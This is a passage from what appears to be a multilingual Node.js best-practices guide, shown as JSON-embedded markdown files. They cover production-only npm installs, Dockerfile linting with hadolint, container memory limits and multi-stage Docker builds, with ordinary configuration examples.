は通常のインストールよりも厳格です)\"\n\n[npm documentation](https://docs.npmjs.com/cli/ci.html) より\n\n> このコマンドは npm-install と似ていますが、テストプラットフォームや継続的インテグレーション、デプロイメントなどの自動化された環境や、依存関係をクリーンにインストールしたい状況での使用を想定しています。ユーザー指向の機能をスキップすることで、通常の npm インストールよりも大幅に高速になります。また、通常のインストールよりも厳格で、ほとんどの npm ユーザのローカル環境がインクリメンタルにインストールされていることによるエラーや不整合を検出するのに役立ちます。\n"
  },
  {
    "path": "sections/docker/install-for-production.md",
    "content": "# Remove development dependencies\n\n<br/><br/>\n\n### One Paragraph Explainer\n\nDev dependencies greatly increase the container attack surface (i.e. potential security weakness) and the container size. As an example, some of the most impactful npm security breaches were originated from devDependencies like [eslint-scope](https://eslint.org/blog/2018/07/postmortem-for-malicious-package-publishes) or affected dev packages like [event-stream that was used by nodemon](https://snyk.io/blog/a-post-mortem-of-the-malicious-event-stream-backdoor/). For those reasons the image that is finally shipped to production should be safe and minimal. Running npm install with a `--production` is a great start, however it gets even safer to run `npm ci` that ensures a fresh install and the existence of a lock file. Removing the local cache can shave additional tens of MB. Often there is a need to test or debug within a container using devDependencies - In that case, [multi stage builds](./multi_stage_builds.md) can help in having different sets of dependencies and finally only those for production.\n\n<br/><br/>\n\n### Code Example – Installing for production\n\n<details>\n\n<summary><strong>Dockerfile</strong></summary>\n\n```dockerfile\nFROM node:12-slim AS build\n\nWORKDIR /usr/src/app\nCOPY package.json package-lock.json ./\nRUN npm ci --production && npm cache clean --force\n\n# The rest comes here\n```\n\n</details>\n\n<br/><br/>\n\n### Code Example – Installing for production with multi-stage build\n\n<details>\n\n<summary><strong>Dockerfile</strong></summary>\n\n```dockerfile\nFROM node:14.8.0-alpine AS build\n\nCOPY --chown=node:node package.json package-lock.json ./\n# ✅ Safe install\nRUN npm ci\nCOPY --chown=node:node src ./src\nRUN npm run build\n\n\n# Run-time stage\nFROM node:14.8.0-alpine\n\nCOPY --chown=node:node --from=build package.json package-lock.json ./\nCOPY --chown=node:node --from=build node_modules ./node_modules\nCOPY --chown=node:node --from=build dist ./dist\n\n# ✅ Clean dev packages\nRUN npm prune --production\n\nCMD [ \"node\", \"dist/app.js\" ]\n```\n\n</details>\n\n\n<br/><br/>\n\n### Code Example Anti-Pattern – Installing all dependencies in a single stage dockerfile\n\n<details>\n\n<summary><strong>Dockerfile</strong></summary>\n\n```dockerfile\nFROM node:12-slim AS build\n\nWORKDIR /usr/src/app\nCOPY package.json package-lock.json ./\n# Two mistakes below: Installing dev dependencies, not deleting the cache after npm install\nRUN npm install\n\n# The rest comes here\n```\n\n</details>\n\n<br/><br/>\n\n### Blog Quote: \"npm ci is also more strict than a regular install\"\n\nFrom [npm documentation](https://docs.npmjs.com/cli/ci.html)\n\n> This command is similar to npm-install, except it’s meant to be used in automated environments such as test platforms, continuous integration, and deployment – or any situation where you want to make sure you’re doing a clean install of your dependencies. It can be significantly faster than a regular npm install by skipping certain user-oriented features. It is also more strict than a regular install, which can help catch errors or inconsistencies caused by the incrementally-installed local environments of most npm users.\n"
  },
  {
    "path": "sections/docker/lint-dockerfile.basque.md",
    "content": "# Garbitu zure Dockerfile fitxategia\n\n### Azalpena\n\nGure oinarrizko aplikazioaren kodea praktika onen arabera lan egiteko eta arazo bihurtu aurretik arazoak eta akatsak ezabatzeko eratuta dago, eta gure Dockerfile fitxategiek ere hala beharko lukete. Dockerfile fitxategiak garbitzeak ekoizpen arazoak garaiz atzemateko aukerak handitzea dakar oso ahalegin txikiarekin. Adibidez, zure Dockefileetan zehaztutako logikarekin eta aginduekin inolako egiturazko arazorik ez dagoela ziurtatu dezake; esaterako, existitzen ez den etapa bat kopiatzea, onlineko biltegi ezezagun batetik kopiak egitea, aplikazioa super erabiltzailearekin (SUDO) exekutatzea eta beste hainbat. Dockerfile fitxategiren [Hadolint](https://github.com/hadolint/hadolint) linter irekia (Open Source) eskuz edota IE prozesuaren zati gisa erabil daiteke zure Dockerfile fitxategia(k) garbitzeko. Hadolint Dockerfile fitxategi garbitzaile aurreratua da, [Dockerren praktika onak](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/) bultzatzen dituena.\n\n<br/>\n\n### Kode adibidea: arakatu Dockerfile fitxategia hadolint erabiliz\n\n```bash\nhadolint production.Dockerfile\nhadolint --ignore DL3003 --ignore DL3006 <Dockerfile> # arau zehatzak burutu\nhadolint --trusted-registry my-company.com:500 <Dockerfile> # Erabiltzailea jakinarazi irudi fidaezinak erabiltzeagatik\n```\n\n### Beste bloglariek diotena\n\n[Josh Reichardt](https://thepracticalsysadmin.com/lint-your-dockerfiles-with-hadolint/)en bloga:\n\n> Oraindik ez badaukazu zure Dockerfile fitxategiak garbitzeko ohiturarik, ohitu zaitez egiten. Kode garbiketa software garapeneko praktika arrunta da, arazo eta akatsak aurkitu, identifikatu eta ezabatzen laguntzen duena benetako arazo bihurtu aurretik. Zure kodea garbitzearen abantaila handienetako bat da akats txiki korapilasuak atzematen eta ezabatzen laguntzen duela, arazo bihurtu aurretik.\n\n[Jamie Phillips](https://www.phillipsj.net/posts/hadolint-linting-your-dockerfile/)en bloga:\n\n> Garbitzaileak edota linterrak sarri erabiltzen dira garapenean, lan taldeei programazio eta estilo erroreak atzematen laguntzeko. Hadolint Haskell erabiliz Dockerfile fitxategientzat sortutako garbitzailea (linterra) da. Tresna horrek zure Dockerfile fitxategiaren sintaxia aztertzen du eta Dockerek zehaztutako praktika onak kontutan hartu. Plataforma nagusi gehienetarako balio du, eta tutorial honek edukiontzia erabiliko du Dockerfile fitxategi batean garbiketa egiteko.\n> <br/>\n"
  },
  {
    "path": "sections/docker/lint-dockerfile.french.md",
    "content": "# Lint your Dockerfile\n\n### One Paragraph Explainer\n\nAs our core application code is linted to conform to best practices and eliminate issues and bugs before it could become a problem, so too should our Dockerfiles. Linting the Dockerfile means increasing the chances of catching production issues on time with very light effort. For example, it can ensure that there aren’t any structural problems with the logic and instructions specified in your Dockerfiles like trying to copy from non-existing stage, copying from unknown online repository, running the app with power user (SUDO) and many more. The Open Source Dockerfile linter [Hadolint](https://github.com/hadolint/hadolint) can be used manually or as part of a CI process to lint your Dockerfile/s. Hadolint is a specialized Dockerfile linter that aims to embrace the [Docker best practices.](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/)\n\n\n<br/>\n\n### Code example: Inspecting a Dockerfile using hadolint\n\n```bash \nhadolint production.Dockerfile\nhadolint --ignore DL3003 --ignore DL3006 <Dockerfile> # exclude specific rules\nhadolint --trusted-registry my-company.com:500 <Dockerfile> # Warn when using untrusted FROM images\n```\n\n### What Other Bloggers Say\n\nFrom the blog by [Josh Reichardt](https://thepracticalsysadmin.com/lint-your-dockerfiles-with-hadolint/):\n> If you haven’t already gotten in to the habit of linting your Dockerfiles you should.  Code linting is a common practice in software development which helps find, identify and eliminate issues and bugs before they are ever able to become a problem.  One of the main benefits of linting your code is that it helps identify and eliminate nasty little bugs before they ever have a chance to become a problem.\n\nFrom the blog by [Jamie Phillips](https://www.phillipsj.net/posts/hadolint-linting-your-dockerfile/)\n> Linters are commonly used in development to help teams detect programmatic and stylistic errors. Hadolint is a linter created for Dockerfiles using Haskell. This tool validates against the best practices outlined by Docker and takes a neat approach to parse the Dockerfile that you should checkout. It supports all major platforms, and this tutorial will be leveraging the container to perform the linting on an example Dockerfile.\n<br/>"
  },
  {
    "path": "sections/docker/lint-dockerfile.japanese.md",
    "content": "# Dockerfile を lint する\n\n### 一段落説明\n\nコアアプリケーションのコードをベストプラクティスに従わせ、問題になる前にイシューやバグを取り除くために lint を利用するように、Dockerfile も同様に linting されるべきです。Dockerfile を linting することは、非常に軽い労力でプロダクションの問題をオンタイムで捕らえることができる可能性を高めることを意味します。例えば、存在しないステージからコピーを試みたり、不明なオンラインリポジトリからコピーしてきたり、パワーユーザー（SUDO）でアプリケーションを実行したりなど、Dockerfile に記述されたロジックや命令に構造的な問題が無いことを確認することができます。オープンソースの Dockerfile linter である [Hadolint](https://github.com/hadolint/hadolint) は、手動または CI プロセスの一部として利用することができます。Hadolint は、[Docker ベストプラクティス](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/) に従うことを目的とした Dockerfile 専用の linter です。\n\n\n<br/>\n\n### コード例: hadolint を使用して Dockerfile を検査する\n\n```bash \nhadolint production.Dockerfile\nhadolint --ignore DL3003 --ignore DL3006 <Dockerfile> # 特定のルールを除外する\nhadolint --trusted-registry my-company.com:500 <Dockerfile> # 信頼されていない FROM イメージを利用している場合に警告を出す\n```\n\n### 他のブロガーが言っていること\n\n[Josh Reichardt](https://thepracticalsysadmin.com/lint-your-dockerfiles-with-hadolint/) のブログより:\n> もしまだ Dockerfile を linting する習慣を取り入れていないのであれば、いますぐ取り入れるべきです。コードの linting はソフトウェア開発における一般的な慣習であり、問題となる前にイシューやバグを特定し、排除するのに役立ちます。コードを linting することの主な利点の1つは、問題が発生する前に、厄介な些細なバグを特定し排除する手助けをしてくれることです。\n\n[Jamie Phillips](https://www.phillipsj.net/posts/hadolint-linting-your-dockerfile/) のブログより:\n> Linter は、開発チームがプログラム的なエラーやスタイルエラーを検出しやすくするために、開発現場では一般的に利用されています。Hadolint は Haskell で Dockerfile のために実装された linter です。このツールは、Docker によって示されたベストプラクティスに照らし合わせて検証し、チェックするべき Dockerfile をパースするために、きちんとしたアプローチを取ります。これはすべての主要なプラットフォームをサポートしており、このチュートリアルではコンテナを利用してサンプル Dockerfile 上で linting を行います。\n<br/>\n"
  },
  {
    "path": "sections/docker/lint-dockerfile.md",
    "content": "# Lint your Dockerfile\n\n### One Paragraph Explainer\n\nAs our core application code is linted to conform to best practices and eliminate issues and bugs before it could become a problem, so too should our Dockerfiles. Linting the Dockerfile means increasing the chances of catching production issues on time with very light effort. For example, it can ensure that there aren’t any structural problems with the logic and instructions specified in your Dockerfiles like trying to copy from non-existing stage, copying from unknown online repository, running the app with power user (SUDO) and many more. The Open Source Dockerfile linter [Hadolint](https://github.com/hadolint/hadolint) can be used manually or as part of a CI process to lint your Dockerfile/s. Hadolint is a specialized Dockerfile linter that aims to embrace the [Docker best practices.](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/)\n\n\n<br/>\n\n### Code example: Inspecting a Dockerfile using hadolint\n\n```bash \nhadolint production.Dockerfile\nhadolint --ignore DL3003 --ignore DL3006 <Dockerfile> # exclude specific rules\nhadolint --trusted-registry my-company.com:500 <Dockerfile> # Warn when using untrusted FROM images\n```\n\n### What Other Bloggers Say\n\nFrom the blog by [Josh Reichardt](https://thepracticalsysadmin.com/lint-your-dockerfiles-with-hadolint/):\n> If you haven’t already gotten in to the habit of linting your Dockerfiles you should.  Code linting is a common practice in software development which helps find, identify and eliminate issues and bugs before they are ever able to become a problem.  One of the main benefits of linting your code is that it helps identify and eliminate nasty little bugs before they ever have a chance to become a problem.\n\nFrom the blog by [Jamie Phillips](https://www.phillipsj.net/posts/hadolint-linting-your-dockerfile/)\n> Linters are commonly used in development to help teams detect programmatic and stylistic errors. Hadolint is a linter created for Dockerfiles using Haskell. This tool validates against the best practices outlined by Docker and takes a neat approach to parse the Dockerfile that you should checkout. It supports all major platforms, and this tutorial will be leveraging the container to perform the linting on an example Dockerfile.\n<br/>\n"
  },
  {
    "path": "sections/docker/memory-limit.basque.md",
    "content": "# Ezarri memoria mugak Docker eta v8 erabiliz\n\n<br/><br/>\n\n### Azalpena\n\nMemoria mugatzeak prozesuari/edukiontziari adierazten dio zer tamainako memoria erabiltzeko baimena duen gehienez ere. Tamaina horretatik gorako eskaerak edo erabilerak prozesua hil egingo du (OOMKill). Hori egitea jarraibide bikaina da ziurtatzeko herritar batek zuku guztia berak bakarrik edaten ez duela, beste guztiak egarriz akabatzen utzita. Memoria mugek, gainera, exekuzio garaian edukiontzia instantzia egokian ipintzea ahalbidetzen du; izan ere, 500MB erabiltzen dituen edukiontzi bat 300MB dituen instantzia baten ipintzeak arazoak ekar litzake. Bi aukerek muga konfiguratzen laguntzen dute: V8 banderak (--max-old-space-size) eta Docker abiatze denbora, biak guztiz beharrezkoak dira. Ziurtatu beti Dockeren iraupen mugak konfiguratu dituzula, osasun erabaki egokiak hartzeko ikuspegi askoz zabalagoa baitu: muga hori izanda, exekuzioak badaki baliabide gehiago eskalatzen eta sortzen. Noiz huts egin behar duen erabaki dezake: kontainerrean, memoria eskaeran, eztanda labur bat gertatzen bada eta ostatatutako instantzia horri eusteko gai bada, Dockerek bizirik egoten utziko dio edukiontziari. Azkenik, Dockeri esker, Ops adituak hainbat memoria konfigurazio ezar ditzake, ekoizpenean kontutan hartuak izan daitezkeenak, adibidez, memoriaren trukea (memory swap). Hori bera bakarrik ez da nahikoa izango, v8ren --max-old-space-size gabe, JavaScript abiatze inguruneak ez du zabor biltzea bultzatuko memoriaren mugatik gertu egotean, eta krask egingo du soilik ostatatutako ingurunearen % 50-60 erabiltzean. Ondorioz, ezarri v8n muga Dockeren memoria mugaren %75-100 izan dadin.\n\n<br/><br/>\n\n### Kode adibidea: memoriaren muga Dockerrekin\n\n<details>\n<summary><strong>Bash</strong></summary>\n\n```bash\ndocker run --memory 512m nire-node-aplikazioa\n```\n\n</details>\n\n<br/><br/>\n\n### Kode adibidea: memoriaren muga Kubernetes eta V8rekin\n\n<details>\n<summary><strong>Kubernetesen inplementaziorako yamla</strong></summary>\n\n```yml\napiVersion: v1\nkind: Pod\nmetadata:\n  name: nire-node-aplikazioa\nspec:\n  containers:\n  - name: nire-node-aplikazioa\n    image: nire-node-aplikazioa\n    resources:\n      requests:\n        memory: \"400Mi\"\n      limits:\n        memory: \"500Mi\"\n    command: [\"node index.js --max-old-space-size=350\"]\n```\n\n</details>\n\n<br/><br/>\n\n### Kubernetesen dokumentazioa: \"Memoriaren muga zehaztu ezean\"\n\n[K8Sen dokumentazioa](https://kubernetes.io/docs/tasks/configure-pod-container/assign-memory-resource/)\n\n> Edukiontziak ez du erabiltzen duen memoriaren gehieneko muga. Egikaritzen ari den Nodean erabilgarri dagoen memoria guztia erabil dezake edukiontziak , eta horrek OOM Killer errorea dei dezake. Gainera, OOM Kill bat gertatuz gero, mugarik gabeko edukiontzi batek aukera gehiago izango du akabatua izateko.\n\n<br/><br/>\n\n### Dockeren dokumentazioa: \"Jaurti OOME errore bat eta hasi prozesuak hiltzen\"\n\n[Dockeren dokumentu ofiziala](https://docs.docker.com/config/containers/resource_constraints/)\n\n> Garrantzitsua da exekutatzen ari den edukiontzi bati ez uztea ostatatutako makinaren memoria gehiegi erabiltzen. Linux ostalarietan, kernelak sistemako funtzio garrantzitsuak egiteko haina memoria ez dagoela atzematen badu, OOME bat jaurtitzen du, Out Of Memory Exception (Memoria Faltaren Salbuespena), eta prozesuak akabatzen hasten da memoria eskuratzeko.\n\n<br/><br/>\n\n### Node.jsren dokumentazioa: \"V8k denbora gehiago pasako du zabor bilketan\"\n\n[Node.jsren dokumentu ofiziala](https://nodejs.org/api/cli.html#cli_max_old_space_size_size_in_megabytes)\n\n> Ezarri V8ren atal zaharraren gehienezko memoria tamaina. Memoriaren kontsumoa mugara gerturatzen denean, V8k denbora gehiago pasako du zabor bilketan, erabili gabeko memoria askatzen baino. 2GBko memoria duen makina batean, komeni da 1536Mgb (1.5GB) ezartzea, beste erabiltzaileentzat memoria pixkat bat uzteko eta memoria trukea ekiditeko.\n"
  },
  {
    "path": "sections/docker/memory-limit.french.md",
    "content": "# Set memory limits using both Docker and v8\n\n<br/><br/>\n\n### One Paragraph Explainer\n\nA memory limit tells the process/container the maximum allowed memory usage - a request or usage beyond this number will kill the process (OOMKill). Applying this is a great practice to ensure one citizen doesn't drink all the juice alone and leaves other components to starve. Memory limits also allow the runtime to place a container in the right instance - placing a container that consumes 500MB in an instance with 300MB memory available will lead to failures. Two different options allow configuring this limit: V8 flags (--max-old-space-size) and the Docker runtime, both are absolutely needed. Ensure to always configure the Docker runtime limits as it has a much wider perspective for making the right health decisions: Given this limit, the runtime knows how to scale and create more resources. It can also make a thoughtful decision on when to crash - if a container has a short burst in memory request and the hosting instance is capable of supporting this, Docker will let the container stay alive. Last, with Docker the Ops experts can set various production memory configurations that can be taken into account like memory swap. This by itself won't be enough - Without setting v8's --max-old-space-size, the JavaScript runtime won't push the garbage collection when getting close to the limits and will also crash when utilizing only 50-60% of the host environment. Consequently, set v8's limit to be 75-100% of Docker's memory limit.\n\n<br/><br/>\n\n### Code Example – Memory limit with Docker\n\n<details>\n<summary><strong>Bash</strong></summary>\n\n```bash\ndocker run --memory 512m my-node-app\n```\n\n</details>\n\n<br/><br/>\n\n### Code Example – Memory limit with Kubernetes and v8\n\n<details>\n<summary><strong>Kubernetes deployment yaml</strong></summary>\n\n```yml\napiVersion: v1\nkind: Pod\nmetadata:\n  name: my-node-app\nspec:\n  containers:\n  - name: my-node-app\n    image: my-node-app\n    resources:\n      requests:\n        memory: \"400Mi\"\n      limits:\n        memory: \"500Mi\"\n    command: [\"node index.js --max-old-space-size=350\"]\n```\n\n</details>\n\n<br/><br/>\n\n### Kubernetes documentation: \"If you do not specify a memory limit\"\n\nFrom [K8S documentation](https://kubernetes.io/docs/tasks/configure-pod-container/assign-memory-resource/)\n\n> The Container has no upper bound on the amount of memory it uses. The Container could use all of the memory available on the Node where it is running which in turn could invoke the OOM Killer. Further, in case of an OOM Kill, a container with no resource limits will have a greater chance of being killed.\n\n<br/><br/>\n\n### Docker documentation: \"it throws an OOME and starts killing processes \"\n\nFrom [Docker official docs](https://docs.docker.com/config/containers/resource_constraints/)\n\n> It is important not to allow a running container to consume too much of the host machine’s memory. On Linux hosts, if the kernel detects that there is not enough memory to perform important system functions, it throws an OOME, or Out Of Memory Exception, and starts killing processes to free up memory.\n\n<br/><br/>\n\n### Node.js documentation: \"V8 will spend more time on garbage collection\"\n\nFrom [Node.js official docs](https://nodejs.org/api/cli.html#cli_max_old_space_size_size_in_megabytes)\n\n> Sets the max memory size of V8's old memory section. As memory consumption approaches the limit, V8 will spend more time on garbage collection in an effort to free unused memory. On a machine with 2GB of memory, consider setting this to 1536 (1.5GB) to leave some memory for other uses and avoid swapping."
  },
  {
    "path": "sections/docker/memory-limit.japanese.md",
    "content": "# Docker と v8 の両方を使ってメモリ制限を設定する\n\n<br/><br/>\n\n### 一段落説明\n\nメモリ制限はプロセス/コンテナに許容されるメモリ使用量の最大値を伝えます - この数を超えるリクエストや使用はプロセスを強制終了させます ( OOMKill )。これを適用することは、一人の市民がジュースを一人で飲み干すことなく、他のコンポーネントを飢えさせないようにするための素晴らしいプラクティスになります。メモリ制限はまた、ランタイムがコンテナを適切なインスタンスに配置することを可能にします - 300MBのメモリが利用可能なインスタンスに500MBを消費するコンテナを配置すると失敗につながります。2つの異なるオプションでこの制限を設定することができます: V8 フラグ( --max-old-space-size )と Docker ランタイムですが、どちらも絶対に必要です。正しい健全性の判断をするためのより広い視野を持っているので、常に Docker ランタイムの制限を設定するようにしてください。この制限があると、ランタイムはどのようにスケールしてより多くのリソースを作成するかが分かります。また、いつクラッシュするかについても思慮深い判断を下すことができます - コンテナがメモリ要求の短いバーストを持っていて、ホスティングインスタンスがこれをサポートすることができる場合、Docker はコンテナを生きたままにしておきます。最後に、Docker を使って、Ops のエキスパートはメモリスワップのように考慮に入れることができる様々なプロダクションメモリの設定を設定することができます。これだけでは十分ではありません - v8 の --max-old-space-size を設定しないと、JavaScript ランタイムは限界に近づいたときにガベージコレクションをプッシュしませんし、ホスト環境の50～60％しか利用していないときにもクラッシュしてしまいます。従って、v8 の制限値を Docker のメモリ制限値の75～100％に設定します。\n\n<br/><br/>\n\n### コード例 – Docker でのメモリ制限\n\n<details>\n<summary><strong>Bash</strong></summary>\n\n```bash\ndocker run --memory 512m my-node-app\n```\n\n</details>\n\n<br/><br/>\n\n### コード例 – Kubernetes と v8 でのメモリ制限\n\n<details>\n<summary><strong>Kubernetes deployment yaml</strong></summary>\n\n```yml\napiVersion: v1\nkind: Pod\nmetadata:\n  name: my-node-app\nspec:\n  containers:\n  - name: my-node-app\n    image: my-node-app\n    resources:\n      requests:\n        memory: \"400Mi\"\n      limits:\n        memory: \"500Mi\"\n    command: [\"node index.js --max-old-space-size=350\"]\n```\n\n</details>\n\n<br/><br/>\n\n### Kubernetes のドキュメント: \"If you do not specify a memory limit(メモリ制限を指定しない場合)\"\n\n[K8S ドキュメント](https://kubernetes.io/docs/tasks/configure-pod-container/assign-memory-resource/) より\n\n> コンテナは使用するメモリ量に上限はありません。コンテナは、それが実行されているノードで利用可能なすべてのメモリを使用することができ、その結果、OOM Killer を呼び出すことができます。さらに、OOM Killer の場合、リソースの制限がないコンテナは kill される可能性が高くなります。\n\n<br/><br/>\n\n### Docker のドキュメント: \"it throws an OOME and starts killing processes(OOME を投げてプロセスを殺し始めます)\"\n\n[Docker 公式ドキュメント](https://docs.docker.com/config/containers/resource_constraints/) より\n\n> 実行中のコンテナがホストマシンのメモリを消費しすぎないようにすることが重要です。Linux ホストでは、カーネルが重要なシステム機能を実行するのに十分なメモリがないことを検出すると、OOME (Out Of Memory Exception) をスローし、メモリを解放するためにプロセスの kill を開始します。\n\n<br/><br/>\n\n### Node.js のドキュメント: \"V8 will spend more time on garbage collection(V8 はガベージコレクションにより時間を費やすことになります)\"\n\n[Node.js 公式ドキュメント](https://nodejs.org/api/cli.html#cli_max_old_space_size_size_in_megabytes) より\n\n> V8 の古いメモリセクションの最大メモリサイズを設定します。メモリ消費量が限界に近づくと、V8 は未使用のメモリを解放するためにガベージコレクションに多くの時間を費やします。メモリが2GBのマシンでは、これを1536 (1.5GB)に設定して、他の用途のためにメモリを残し、スワップを避けることを検討してください。\n"
  },
  {
    "path": "sections/docker/memory-limit.md",
    "content": "# Set memory limits using both Docker and v8\n\n<br/><br/>\n\n### One Paragraph Explainer\n\nA memory limit tells the process/container the maximum allowed memory usage - a request or usage beyond this number will kill the process (OOMKill). Applying this is a great practice to ensure one citizen doesn't drink all the juice alone and leaves other components to starve. Memory limits also allow the runtime to place a container in the right instance - placing a container that consumes 500MB in an instance with 300MB memory available will lead to failures. Two different options allow configuring this limit: V8 flags (--max-old-space-size) and the Docker runtime, both are absolutely needed. Ensure to always configure the Docker runtime limits as it has a much wider perspective for making the right health decisions: Given this limit, the runtime knows how to scale and create more resources. It can also make a thoughtful decision on when to crash - if a container has a short burst in memory request and the hosting instance is capable of supporting this, Docker will let the container stay alive. Last, with Docker the Ops experts can set various production memory configurations that can be taken into account like memory swap. This by itself won't be enough - Without setting v8's --max-old-space-size, the JavaScript runtime won't push the garbage collection when getting close to the limits and will also crash when utilizing only 50-60% of the host environment. Consequently, set v8's limit to be 75-100% of Docker's memory limit.\n\n<br/><br/>\n\n### Code Example – Memory limit with Docker\n\n<details>\n<summary><strong>Bash</strong></summary>\n\n```bash\ndocker run --memory 512m my-node-app\n```\n\n</details>\n\n<br/><br/>\n\n### Code Example – Memory limit with Kubernetes and v8\n\n<details>\n<summary><strong>Kubernetes deployment yaml</strong></summary>\n\n```yml\napiVersion: v1\nkind: Pod\nmetadata:\n  name: my-node-app\nspec:\n  containers:\n  - name: my-node-app\n    image: my-node-app\n    resources:\n      requests:\n        memory: \"400Mi\"\n      limits:\n        memory: \"500Mi\"\n    command: [\"node index.js --max-old-space-size=350\"]\n```\n\n</details>\n\n<br/><br/>\n\n### Kubernetes documentation: \"If you do not specify a memory limit\"\n\nFrom [K8S documentation](https://kubernetes.io/docs/tasks/configure-pod-container/assign-memory-resource/)\n\n> The Container has no upper bound on the amount of memory it uses. The Container could use all of the memory available on the Node where it is running which in turn could invoke the OOM Killer. Further, in case of an OOM Kill, a container with no resource limits will have a greater chance of being killed.\n\n<br/><br/>\n\n### Docker documentation: \"it throws an OOME and starts killing processes \"\n\nFrom [Docker official docs](https://docs.docker.com/config/containers/resource_constraints/)\n\n> It is important not to allow a running container to consume too much of the host machine’s memory. On Linux hosts, if the kernel detects that there is not enough memory to perform important system functions, it throws an OOME, or Out Of Memory Exception, and starts killing processes to free up memory.\n\n<br/><br/>\n\n### Node.js documentation: \"V8 will spend more time on garbage collection\"\n\nFrom [Node.js official docs](https://nodejs.org/api/cli.html#cli_max_old_space_size_size_in_megabytes)\n\n> Sets the max memory size of V8's old memory section. As memory consumption approaches the limit, V8 will spend more time on garbage collection in an effort to free unused memory. On a machine with 2GB of memory, consider setting this to 1536 (1.5GB) to leave some memory for other uses and avoid swapping.\n"
  },
  {
    "path": "sections/docker/multi_stage_builds.basque.md",
    "content": "# Erabili etapa anitzeko konpilazioak\n\n### Azalpena\n\nEtapa anitzeko konpilazioek aukera ematen dute eraikuntzei eta exekuzio denborari dagozkion inguruneko xehetasunak bereizteko, hala nola eskuragarri dauden binarioak, agerian dauden inguruneko aldagaiak eta baita azpiko sistema eragilea ere. Zure Docker fitxategiak etapa anitzetan banatzeak azken irudia eta edukiontziaren tamaina murrizten lagunduko dizu, zure aplikazioa egikaritzeko behar duzuna bakarrik bidaliko baituzu. Batzuetan, konpilazio fasean soilik beharrezkoak diren tresnak sartu beharko dituzu, adibidez garapenerako menpekotasunak, hala nola TypeScripten CLI. Konpilazio fasean instalatu dezakezu, eta azken irteera exekuzio fasean bakarrik erabili. Horrek esan nahi du zure irudia txikitu egingo dela, menpekotasun batzuk ez baitira kopiatuko. Agian, egikaritze aldian egon behar ez luketen inguruneko aldagai batzuk agerian jarri beharko dituzu eraikuntzan (aztertu [nola saihestu konpilazio aldiko sekretuak](./avoid-build-time-secrets.basque.md)), hala nola API giltzak eta zerbitzu zehatzekin komunikatzeko erabiltzen diren sekretuak. Azken fasean, aurrez eraikitako baliabideak kopiatu ditzakezu, hala nola zure konpilazio karpeta edo soilik ekoizpenekoak diren menpekotasunak, hurrengo urratsean ere eskuratu ditzakezunak.\n\n### Adibidea\n\nEman dezagun direktorio egitura hau\n\n```\n- Dockerfile\n- src/\n    - index.ts\n- package.json\n- yarn.lock\n- .dockerignore\n- docs/\n  - README.md\n```\nDagoeneko zure aplikazioa eraikitzeko eta exekutatzeko beharrezkoak ez diren fitxategiak iragaziko ditu zure [.dockerignore](../docker/docker-ignore.basque.md)-k.\n\n```\n# Ez kopiatu existitzen diren node_modules karpetan, gure node_modules propioa berreskuratuko dugu\n\n# Docs are large, we don't need them in our Docker image\ndocs\n```\n\n#### Etapa anitzeko Dockerfile fitxategia\n\nDocker maiz etengabeko integrazio inguruneetan erabiltzen denez, `npm ci` komandoa erabiltzea gomendatzen da (`npm install` komandoa beharrean). Azkarragoa da, zorrotzagoa ere bai, eta inkoherentziak murrizten ditu package-lock.json fitxategian zehaztutako bertsioak soilik erabiliz gero. Begiratu [hau](https://docs.npmjs.com/cli/ci.html#description) informazio gehiago lortzeko. Adibide horrek yarn erabiltzen du pakete kudeatzaile gisa eta horretarako `yarn install --frozen-lockfile` [komandoa](https://classic.yarnpkg.com/en/docs/cli/install/) da `npm ci`-ren baliokidea.\n\n```dockerfile\nFROM node:14.4.0 AS build\n\nCOPY --chown=node:node . .\nRUN yarn install --frozen-lockfile && yarn build\n\n\nFROM node:14.4.0\n\nUSER node\nEXPOSE 8080\n\n# Aurreko etapatik emaitzak kopiatu\nCOPY --chown=node:node --from=build /home/node/app/dist /home/node/app/package.json /home/node/app/yarn.lock ./\nRUN yarn install --frozen-lockfile --production\n\nCMD [ \"node\", \"dist/app.js\" ]\n```\n\n#### Docker fitxategia etapa anitzekin eta oinarrizko irudiekin\n\n```dockerfile\nFROM node:14.4.0 AS build\n\nCOPY --chown=node:node . .\nRUN yarn install --frozen-lockfile && yarn build\n\n\n# Honek exekuzio garairako oinarri-irudi minimoa erabiliko du\nFROM node:14.4.0-alpine\n\nUSER node\nEXPOSE 8080\n\n# Kopiatu emaitzak aurreko etapatik\nCOPY --chown=node:node --from=build /home/node/app/dist /home/node/app/package.json /home/node/app/yarn.lock ./\nRUN yarn install --frozen-lockfile --production\n\nCMD [ \"node\", \"dist/app.js\" ]\n```\n\n#### Dockerfile osoa etapa anitzekin eta oinarrizko irudiekin\n\nGure Docker fitxategiak bi fase izango ditu: bata, aplikazioa eraikitzekoa, Node.js Docker irudia erabiliz funtzio guztietan; eta bigarren fasea, aplikazioa exekutatzeko, Alpine irudi minimoan oinarritutakoa. Bigarren fasean konpilatutako fitxategiak bakarrik kopiatuko ditugu, eta gero produkzioaren menpekotasunak instalatuko ditugu.\n\n```dockerfile\n# Funtzionalitate guztiak dituen Node.js oinarri-irudiarekin hasi\nFROM node:14.4.0 AS build\n\nUSER node\nWORKDIR /home/node/app\n\n# Menpekotasun informazioa kopiatu eta menpekotasun guztiak instalatu\nCOPY --chown=node:node package.json yarn.lock ./\n\nRUN yarn install --frozen-lockfile\n\n# Iturburu kodea kopiatu (eta beste fitxategi garrantzitsu guztiak)\nCOPY --chown=node:node src ./src\n\n# Kodea eraiki\nRUN yarn build\n\n\n# Exekuzio-garaiaren etapa\nFROM node:14.4.0-alpine\n\n# Zehaztu erro erabiltzailea ez dena eta agerian utzi 8080 portua\nUSER node\nEXPOSE 8080\n\nWORKDIR /home/node/app\n\n# Menpekotasunen informazioa kopiatu eta soilik ekoizpenerako beharrezko dire menpekotasunak instalatu\nCOPY --chown=node:node package.json yarn.lock ./\nRUN yarn install --frozen-lockfile --production\n\n# Aurreko etapatik emaitzak kopiatu\nCOPY --chown=node:node --from=build /home/node/app/dist ./dist\n\nCMD [ \"node\", \"dist/app.js\" ]\n```\n"
  },
  {
    "path": "sections/docker/multi_stage_builds.french.md",
